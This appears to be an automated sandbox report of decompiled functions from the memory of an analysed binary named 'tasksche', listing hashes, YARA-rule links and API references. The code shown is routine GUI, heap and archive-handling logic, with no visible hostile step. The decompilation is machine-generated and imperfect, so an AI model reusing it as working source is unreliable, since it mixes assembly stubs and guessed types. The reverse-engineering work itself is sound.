API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 004060C9 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004060C9(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x004060d0
0x004060e5
0x004060eb

APIs

GetDlgItem.USER32 ref: 004060DE
ShowWindow.USER32(00000000), ref: 004060E5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction ID: 00e924dde3bcd55588ca107b376b403c6fb897f844ebcc5e5070703d20151260
Opcode Fuzzy Hash: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction Fuzzy Hash: E7C01232258241FFCB020BB0DC09E2ABBA8ABA5312F10CD68B4A5C1160C23AC024DB22

Uniqueness

Uniqueness Score: -1.00%

Function 00402C8B Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402C8B(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t69;
				signed int _t75;
				intOrPtr _t84;
				signed int _t88;
				intOrPtr _t96;
				signed int _t116;
				void* _t139;
				void* _t147;

				_t134 = __edx;
				E0041A4DC(E00429577, _t147);
				E0041AAF0(0xe6e0);
				_t141 = __ecx;
				if( *((char*)(__ecx + 0xb064)) == 0) {
					__eflags =  *((char*)(__ecx + 0x8942)) - 5;
					if( *((char*)(__ecx + 0x8942)) > 5) {
						L26:
						_t142 = _t141 + 0x1e;
						__eflags = _t141 + 0x1e;
						E00406376(0x1c, _t142);
						goto L27;
					}
					asm("sbb eax, eax");
					__eflags = ( *(__ecx + 0x8941) & 0x000000ff) - ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d);
					if(( *(__ecx + 0x8941) & 0x000000ff) > ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d)) {
						goto L26;
					}
					_t75 =  *(__ecx + 0x9970) |  *(__ecx + 0x9974);
					__eflags = _t75;
					if(_t75 != 0) {
						L7:
						_t139 = _t141 + 0x20e8;
						E0040B758(_t139);
						_push(_t139);
						E0041768A(_t147 - 0xe6ec, _t134, _t139, __eflags); // executed
						_t106 = 0;
						 *(_t147 - 4) = 0;
						E004126F0(_t147 - 0xe6ec,  *((intOrPtr*)(_t141 + 0x9a0c)), 0); // executed
						__eflags =  *(_t147 + 0xc);
						if( *(_t147 + 0xc) != 0) {
							L16:
							__eflags =  *((char*)(_t141 + 0x99b3));
							if( *((char*)(_t141 + 0x99b3)) == 0) {
								L19:
								_t106 = _t141 + 0x9988;
								E00409885(_t141 + 0x59b8,  *(_t141 + 0x9988), 1);
								 *((intOrPtr*)(_t141 + 0x210c)) =  *((intOrPtr*)(_t141 + 0x9974));
								 *((intOrPtr*)(_t141 + 0x2108)) =  *((intOrPtr*)(_t141 + 0x9970));
								 *((char*)(_t141 + 0x2110)) = 0;
								E0040B863(_t139, _t141,  *(_t147 + 0xc));
								 *((char*)(_t141 + 0x42af)) =  *((intOrPtr*)(_t141 + 0x99b1));
								 *(_t139 + 0x3c) =  *(_t139 + 0x3c) & 0x00000000;
								 *((intOrPtr*)(_t139 + 0x38)) = _t141 + 0x8928;
								__eflags =  *((char*)(_t141 + 0x8942));
								_t84 =  *((intOrPtr*)(_t141 + 0x9978));
								_t116 =  *(_t141 + 0x997c);
								 *((intOrPtr*)(_t147 - 0x9aac)) = _t84;
								 *(_t147 - 0x9aa8) = _t116;
								 *((char*)(_t147 - 0x9a94)) = 0;
								if(__eflags != 0) {
									E00418AFF(_t147 - 0xe6ec,  *(_t141 + 0x8941) & 0x000000ff, 0);
								} else {
									_push(_t116);
									_push(_t84);
									_push(_t139); // executed
									E004071DF(_t134, __eflags); // executed
								}
								asm("sbb ecx, ecx");
								_t88 = E00409AE9(_t106, _t141 + 0x59b8, _t134, __eflags, _t106,  ~( *(_t141 + 0x99e2) & 0x000000ff) & _t141 + 0x000099e3);
								__eflags = _t88;
								if(_t88 != 0) {
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139); // executed
									L6:
									_t69 = 1;
									goto L28;
								} else {
									E0040639F(0x1d, _t141 + 0x1e, _t141 + 0x8948);
									E004062BA(0x4335ac, 3);
									_t124 =  *(_t147 + 8);
									__eflags =  *(_t147 + 8);
									if( *(_t147 + 8) != 0) {
										E00401B67(_t124);
									}
									L12:
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139);
									goto L27;
								}
							}
							_t96 =  *((intOrPtr*)(_t141 + 0x6524));
							__eflags =  *((char*)(_t96 + 0x4124));
							if( *((char*)(_t96 + 0x4124)) == 0) {
								goto L12;
							}
							asm("sbb edx, edx");
							_t134 =  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9;
							_t97 = _t96 + 0x4024;
							__eflags = _t96 + 0x4024;
							E0040B883(_t139, 0,  *((intOrPtr*)(_t141 + 0x99b4)), _t97,  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9, _t141 + 0x99c9,  *((intOrPtr*)(_t141 + 0x9a04)), _t141 + 0x99e3, _t141 + 0x99da);
							goto L19;
						}
						__eflags =  *(_t141 + 0x997c);
						if(__eflags < 0) {
							L13:
							_t106 =  *(_t147 + 8);
							__eflags = _t106;
							if(_t106 != 0) {
								E00401C1D(_t106,  *((intOrPtr*)(_t141 + 0x9978)));
								E0040B8CE(_t139,  *_t106,  *((intOrPtr*)(_t141 + 0x9978)));
							} else {
								 *((char*)(_t141 + 0x2111)) = 1;
							}
							goto L16;
						}
						if(__eflags > 0) {
							L11:
							_t145 = _t141 + 0x1e;
							__eflags = _t141 + 0x1e;
							E00406376(0x1c, _t145);
							goto L12;
						}
						__eflags =  *((intOrPtr*)(_t141 + 0x9978)) - 0x1000000;
						if( *((intOrPtr*)(_t141 + 0x9978)) <= 0x1000000) {
							goto L13;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x99b1)) - _t75;
					if( *((intOrPtr*)(__ecx + 0x99b1)) != _t75) {
						goto L7;
					}
					goto L6;
				} else {
					E00406376(0x1b, __ecx + 0x1e);
					E004062BA(0x4335ac, 3);
					L27:
					_t69 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
					return _t69;
				}
			}

0x00402c8b
0x00402c90
0x00402c9a
0x00402ca1
0x00402cab
0x00402cc9
0x00402cd0
0x00402f0e
0x00402f0e
0x00402f0e
0x00402f14
0x00000000
0x00402f14
0x00402ce8
0x00402ced
0x00402cef
0x00000000
0x00000000
0x00402cfb
0x00402cfb
0x00402d01
0x00402d12
0x00402d12
0x00402d1a
0x00402d1f
0x00402d26
0x00402d2b
0x00402d3a
0x00402d3d
0x00402d42
0x00402d45
0x00402da8
0x00402da8
0x00402daf
0x00402e04
0x00402e06
0x00402e14
0x00402e28
0x00402e31
0x00402e37
0x00402e3e
0x00402e49
0x00402e4f
0x00402e59
0x00402e5c
0x00402e63
0x00402e69
0x00402e6f
0x00402e75
0x00402e7b
0x00402e82
0x00402e9e
0x00402e84
0x00402e84
0x00402e85
0x00402e86
0x00402e87
0x00402e87
0x00402eac
0x00402ebe
0x00402ec3
0x00402ec5
0x00402efa
0x00402f04
0x00402d0b
0x00402d0b
0x00000000
0x00402ec7
0x00402ed4
0x00402ee0
0x00402ee5
0x00402ee8
0x00402eea
0x00402ef0
0x00402ef0
0x00402d68
0x00402d68
0x00402d72
0x00000000
0x00402d72
0x00402ec5
0x00402db1
0x00402db7
0x00402dbe
0x00000000
0x00000000
0x00402de4
0x00402dec
0x00402def
0x00402def
0x00402dff
0x00000000
0x00402dff
0x00402d47
0x00402d4d
0x00402d7c
0x00402d7c
0x00402d7f
0x00402d81
0x00402d94
0x00402da3
0x00402d83
0x00402d83
0x00402d83
0x00000000
0x00402d81
0x00402d4f
0x00402d5d
0x00402d5d
0x00402d5d
0x00402d63
0x00000000
0x00402d63
0x00402d51
0x00402d5b
0x00000000
0x00000000
0x00000000
0x00402d5b
0x00402d03
0x00402d09
0x00000000
0x00000000
0x00000000
0x00402cad
0x00402cb3
0x00402cbf
0x00402f19
0x00402f19
0x00402f1b
0x00402f21
0x00402f29
0x00402f29

APIs

__EH_prolog.LIBCMT ref: 00402C90

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction ID: d2613427887af626ac15b725df06f6c4975e9b849f4698f9cbfae21a5c634ed1
Opcode Fuzzy Hash: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction Fuzzy Hash: 8E615870505B40AADB34DB39C999BEBB7E4AF51304F00456FF4AB622C2CBBC2944DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040935F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040935F(void* __ebx, void* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _v8;
				char _v4104;
				signed int _t21;
				void* _t25;
				signed int _t26;
				signed int _t34;
				void* _t36;
				signed int _t40;
				signed short* _t45;
				signed short* _t48;
				void* _t49;
				void* _t50;

				E0041AAF0(0x1004);
				_t48 = _a4;
				if(_t48 == 0 ||  *_t48 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_a4 = _a4 & 0x00000000;
					_t36 = 1;
					_t45 = _t48;
					while(1) {
						_t21 = _a4 >> 1;
						_v8 = _t21;
						if(_t21 >= 0x800) {
							break;
						}
						if(E0040A0C5( *_t45 & 0x0000ffff) == 0 || _t45 <= _t48) {
							L9:
							_a4 = _a4 + 2;
							_t45 =  &(_t45[1]);
							if( *_t45 != 0) {
								continue;
							}
							break;
						} else {
							if(_t45 !=  &(_t48[2])) {
								L8:
								_t40 = _v8;
								E0041C853( &_v4104, _t48, _t40);
								_t50 = _t50 + 0xc;
								 *((short*)(_t49 + _t40 * 2 - 0x1004)) = 0;
								_t34 = E004092C9(_t58,  &_v4104, 1, 0);
								asm("sbb bl, bl");
								_t36 =  ~_t34 + 1;
								goto L9;
							}
							_t58 = _t48[1] - 0x3a;
							if(_t48[1] == 0x3a) {
								goto L9;
							}
							goto L8;
						}
					}
					_t61 = _a8;
					if(_a8 == 0) {
						_t25 = E0040A0C5( *(E0040A08A(_t61, _t48)) & 0x0000ffff);
						_t62 = _t25;
						if(_t25 == 0) {
							_t26 = E004092C9(_t62, _t48, 1, 0); // executed
							asm("sbb bl, bl");
							_t36 =  ~_t26 + 1;
						}
					}
					return _t36;
				}
			}

0x00409367
0x0040936d
0x00409372
0x0040942c
0x00000000
0x00409382
0x00409382
0x00409388
0x0040938a
0x0040938c
0x0040938f
0x00409391
0x00409399
0x00000000
0x00000000
0x004093a6
0x004093ef
0x004093ef
0x004093f4
0x004093f9
0x00000000
0x00000000
0x00000000
0x004093ac
0x004093b1
0x004093ba
0x004093ba
0x004093c6
0x004093cb
0x004093d1
0x004093e2
0x004093eb
0x004093ed
0x00000000
0x004093ed
0x004093b3
0x004093b8
0x00000000
0x00000000
0x00000000
0x004093b8
0x004093a6
0x004093fb
0x004093ff
0x0040940b
0x00409410
0x00409412
0x00409419
0x00409422
0x00409424
0x00409424
0x00409412
0x00000000
0x00409429

APIs

_wcsncpy.LIBCMT ref: 004093C6

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction ID: d4505bb1f71f0a7630b1187c5dc073957316d7994076f763c5609016dbc7fb68
Opcode Fuzzy Hash: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction Fuzzy Hash: 1821F9705412146ADF209BA5C8817EF73A8AF09744F104067FD84E71C2E6BC9DC58799

Uniqueness

Uniqueness Score: -1.00%

Function 004071DF Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004071DF(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t21;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t35;
				void* _t43;
				intOrPtr _t45;

				_t28 = __edx;
				E0041A4DC(E004294DA, _t35);
				E00406760(_t35 - 0x1c, 0x40000);
				_t30 =  *((intOrPtr*)(_t35 - 0x1c));
				 *(_t35 - 4) =  *(_t35 - 4) & 0x00000000;
				_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), __edx, _t30,  *((intOrPtr*)(_t35 - 0x18))); // executed
				_t33 = _t17;
				if(_t33 != 0) {
					_push(_t20);
					_t21 =  *((intOrPtr*)(_t35 + 0xc));
					while(_t33 != 0xffffffff) {
						_t43 = 0 -  *((intOrPtr*)(_t35 + 0x10));
						if(_t43 >= 0 && (_t43 > 0 || _t33 >= _t21)) {
							_t33 = _t21;
						}
						E0040BAFE( *((intOrPtr*)(_t35 + 8)), _t28, _t35, _t30, _t33);
						_t45 =  *((intOrPtr*)(_t35 + 0x10));
						if(_t45 >= 0 && (_t45 > 0 || _t21 >= 0)) {
							_t21 = _t21 - _t33;
							asm("sbb dword [ebp+0x10], 0x0");
						}
						_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), _t28, _t30,  *((intOrPtr*)(_t35 - 0x18)));
						_t33 = _t17;
						if(_t33 != 0) {
							continue;
						}
						break;
					}
					_pop(_t20);
				}
				_t48 = _t30;
				if(_t30 != 0) {
					_push(_t30);
					_t17 = E0041A506(_t20, _t30, _t33, _t48);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t35 - 0xc));
				return _t17;
			}

0x004071df
0x004071e4
0x004071f6
0x004071fe
0x00407204
0x00407209
0x0040720e
0x00407212
0x00407214
0x00407215
0x00407218
0x0040721f
0x00407222
0x0040722a
0x0040722a
0x00407231
0x00407236
0x0040723a
0x00407242
0x00407244
0x00407244
0x0040724f
0x00407254
0x00407258
0x00000000
0x00000000
0x00000000
0x00407258
0x0040725a
0x0040725a
0x0040725b
0x0040725d
0x0040725f
0x00407260
0x00407265
0x0040726b
0x00407273

APIs

__EH_prolog.LIBCMT ref: 004071E4

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction ID: 0e7476b061c64c38a033d28293548f621ad6c4fedd1d6d7b32e1dff298444af0
Opcode Fuzzy Hash: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction Fuzzy Hash: F611E336D04216A7CB21AE69D881BAF7774AB84724F00427FF910772C0C77CAD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 004155EF Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004155EF(void* __ebx, intOrPtr __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				void* _t39;
				intOrPtr _t61;
				void* _t63;

				_t59 = __edi;
				_t42 = __ebx;
				E0041A4DC(E004298B7, _t63);
				_push(__ecx);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *(_t63 - 4) = 0xa;
				E004152CD(__ecx, 0);
				_t26 =  *((intOrPtr*)(__ecx + 0x4b34));
				_t66 = _t26;
				if(_t26 != 0) {
					_push(_t26); // executed
					E0041A506(__ebx, __edi, __ecx, _t66); // executed
				}
				E004111EB(_t61, _t63,  *((intOrPtr*)(_t61 + 0x14)));
				_push( *((intOrPtr*)(_t61 + 0x20)));
				E0041C89D(_t42, _t59, _t61, _t66); // executed
				_t45 =  *((intOrPtr*)(_t61 + 0x18));
				_t67 =  *((intOrPtr*)(_t61 + 0x18));
				if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
					E00413DED(_t45, _t59, _t63, 3);
				}
				E004129EB(_t61 + 0xe6c4);
				E004129EB(_t61 + 0xe6b4);
				E004129EB(_t61 + 0xe6a4);
				 *(_t63 - 4) = 6;
				E00409756(_t61 + 0xe694);
				 *(_t63 - 4) = 5;
				E0040AB1E(_t61 + 0xe65c, _t67);
				E00411FFB(_t61 + 0xe35c);
				E0041252C(_t61 + 0x4b38);
				E004129EB(_t61 + 0x44);
				E004129EB(_t61 + 0x34);
				E004129EB(_t61 + 0x24);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				_t39 = E00409756(_t61 + 4);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

0x004155ef
0x004155ef
0x004155f4
0x004155f9
0x004155fb
0x004155fd
0x00415602
0x00415609
0x0041560e
0x00415614
0x00415616
0x00415618
0x00415619
0x0041561e
0x00415622
0x00415627
0x0041562a
0x00415630
0x00415633
0x00415635
0x00415639
0x00415639
0x00415644
0x0041564f
0x0041565a
0x00415665
0x00415669
0x00415674
0x00415678
0x00415683
0x0041568e
0x00415696
0x0041569e
0x004156a6
0x004156ab
0x004156b2
0x004156bb
0x004156c3

APIs

__EH_prolog.LIBCMT ref: 004155F4

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFreeH_prologHeapLast___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 2675452811-0
Opcode ID: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction ID: af90cb06349abb904c7e908c808b67ca80216b7905dff4050bf1b7fec03d4104
Opcode Fuzzy Hash: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction Fuzzy Hash: DA117871210740DAC325FF76DA636DBB7B0AF24304F40091EA06B525D2EFB8BA44CA19

Uniqueness

Uniqueness Score: -1.00%

Function 00407150 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407150(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr _t39;
				void* _t41;

				_t44 = __eflags;
				E0041A4DC(E0042968C, _t41);
				_push(__ecx);
				_t39 = __ecx;
				_t25 = __ecx + 0x10;
				 *((intOrPtr*)(_t41 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				E0040B8E3(__ecx + 0x10, __eflags);
				 *(__ecx + 0x444c) =  *(__ecx + 0x444c) & 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				_t35 =  *((intOrPtr*)(_t41 + 8));
				 *((intOrPtr*)(__ecx + 8)) = _t35;
				 *((short*)(__ecx + 0x445c)) = 0;
				 *((short*)(__ecx + 0x545e)) = 0;
				_t21 = E0041A89A(__ecx + 0x10, __edx, _t35, _t44, 0xe6e0, _t33, _t38, _t24);
				 *((intOrPtr*)(_t41 + 8)) = _t21;
				 *((char*)(_t41 - 4)) = 1;
				_t45 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0041768A(_t21, __edx, _t35, _t45, _t25); // executed
				}
				 *((intOrPtr*)(_t39 + 0x4448)) = _t22;
				_t36 =  *((intOrPtr*)(_t35 + 0x7298));
				if(_t36 >= 8) {
					_t36 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x1c)) = _t36;
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t39;
			}

0x00407150
0x00407155
0x0040715a
0x0040715d
0x00407162
0x00407167
0x0040716a
0x0040716c
0x0040716f
0x00407176
0x0040717c
0x0040717f
0x00407187
0x0040718a
0x00407191
0x00407198
0x0040719e
0x004071a1
0x004071a5
0x004071a7
0x004071b3
0x004071b3
0x004071a9
0x004071ac
0x004071ac
0x004071b5
0x004071bb
0x004071c4
0x004071c8
0x004071c8
0x004071cc
0x004071d4
0x004071dc

APIs

__EH_prolog.LIBCMT ref: 00407155

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041768A: __EH_prolog.LIBCMT ref: 0041768F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction ID: 4fa22713ff1b1cd4263d7298948381a35fc14f9b7bb01a12f51cc5b8ed2a70ee
Opcode Fuzzy Hash: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction Fuzzy Hash: B401ADB2A107009AC7109FAAC44029AF7E9FF94310F00842FE459D3390D7B8A9408B59

Uniqueness

Uniqueness Score: -1.00%

Function 00408E03 Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E03(intOrPtr* __ecx, void* __edx) {
				void* _t19;
				void* _t23;
				void* _t34;
				void* _t38;

				E0041A4DC(E00429705, _t38);
				E0040117B(_t38 - 0x1c, __edx, __ecx);
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *((intOrPtr*)( *__ecx + 0xc))();
				_t19 =  *((intOrPtr*)( *__ecx + 0x10))();
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t38 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t38 - 0x14)),  *((intOrPtr*)(_t38 - 0x10)), 0, 0, 0, 2, _t34, _t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t19;
			}

0x00408e08
0x00408e18
0x00408e1f
0x00408e2b
0x00408e32
0x00408e38
0x00408e4a
0x00408e56
0x00408e5e

APIs

__EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction ID: bd93042bfc1aad2116d0877f42dabf9818625296a81febac24436190ec2c14aa
Opcode Fuzzy Hash: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction Fuzzy Hash: 33F04F35B00214AFD7149F58C889FADB7B5EF48724F208159E912A73D1CB749D008A54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
